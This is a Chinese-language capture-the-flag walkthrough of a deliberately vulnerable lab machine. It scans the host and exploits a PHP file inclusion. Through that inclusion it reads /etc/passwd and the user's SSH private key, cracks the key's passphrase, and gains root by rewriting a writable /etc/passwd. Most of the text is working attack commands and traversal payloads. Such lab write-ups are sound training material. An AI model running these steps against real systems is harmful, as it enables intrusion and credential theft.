fping -gaq 192.168.80.0/24
nmap -Pn -sV -p- -A 192.168.80.134
访问web界面
路径扫描
gobuster dir -u http://192.168.80.134 -w /usr/share/seclists/Discovery/Web-Content/directory-list-1.0.txt -x txt,php,html,jsp
访问robots.txt
访问/secret ,发现是空页面
继续对/secret进行路径扫描
gobuster dir -u http://192.168.80.134/secret -w /usr/share/seclists/Discovery/Web-Content/directory-list-1.0.txt -x txt,php,html,jsp
访问/evil.php,依然返回空页面
尝试对/evil.php的参数进行爆破,并没有探测出参数信息
ffuf -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt:KEY -w value.txt:VAL -u http://192.168.80.134/secret/evil.php?KEY=VAL -fs 0
尝试/evil.php是否存在文件包含,目前已知根目录下的robots.txt文件是真实存在的,所以尝试对其再次进行文件包含探测;发现一个command参数
ffuf -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt:DIR -u http://192.168.80.134/secret/evil.php?DIR=../robots.txt -fs 0
验证command参数是否真正存在文件包含
读取/etc/passwd文件
使用PHP协议封装读取evil.php源文件
/secret/evil.php?command=php://filter/convert.base64-encode/resource=evil.php
对获得的字符串进行base64解码
$filename = $_GET['command'];
include($filename);
?>
尝试写入文件,内容为123的base64编码后的字符串
/secret/evil.php?command=php://filter/write=convert.base64-decode/resource=glc.php&txt=MTIz
尝试访问刚才写入的文件,发现没有给文件,证明写入失败
刚才我们发现没有文件写入权限,那我们就换个思路,还记得我们当时读取的/etc/passwd文件吗,自己研究一下发现了一个mowree用户,尝试对其进行ssh登录
我们发现mowree用户允许公钥和密码登录两种方式
ssh mowree@192.168.80.134 -v
那我们可以利用文件包含漏洞去读取mowree用户的公私钥文件
公钥文件,发现是rsa加密的
/secret/evil.php?command=../../../../../../home/mowree/.ssh/authorized_keys
私钥文件
/secret/evil.php?command=../../../../../../home/mowree/.ssh/id_rsa
查看网站源码,将私钥文件的内容复制到本地,并给文件赋予权限,尝试ssh登录,发现需要passphrase(ssh-key 的密语字符串)
对passphrase进行爆破
将id_rsa文件转换为john命令能够识别的文件
./ssh2john.py ~/id_rsa > ~/glc
使用john进行爆破,爆破成功,密码为unicorn
john glc --wordlist=/usr/share/wordlists/rockyou.txt
ssh登录mowree用户
拿到第一个flag
查看内核版本和发行版本
内核版本4.19.0-17;发行版本 Debian10
使用msf提权发现都提权失败了,有兴趣的可以自己试一下
换个思路,查看存在写权限的文件
find / -writable 2>/dev/null | grep -v proc
发现对/etc/passwd文件具有写权限,那么问题就变得简单了,直接修改文件中root账号的密码就可以啦
生成一个加密密码,密码为root
openssl passwd -1
尝试用修改的密码登录root账号,成功提权,获得第二个flag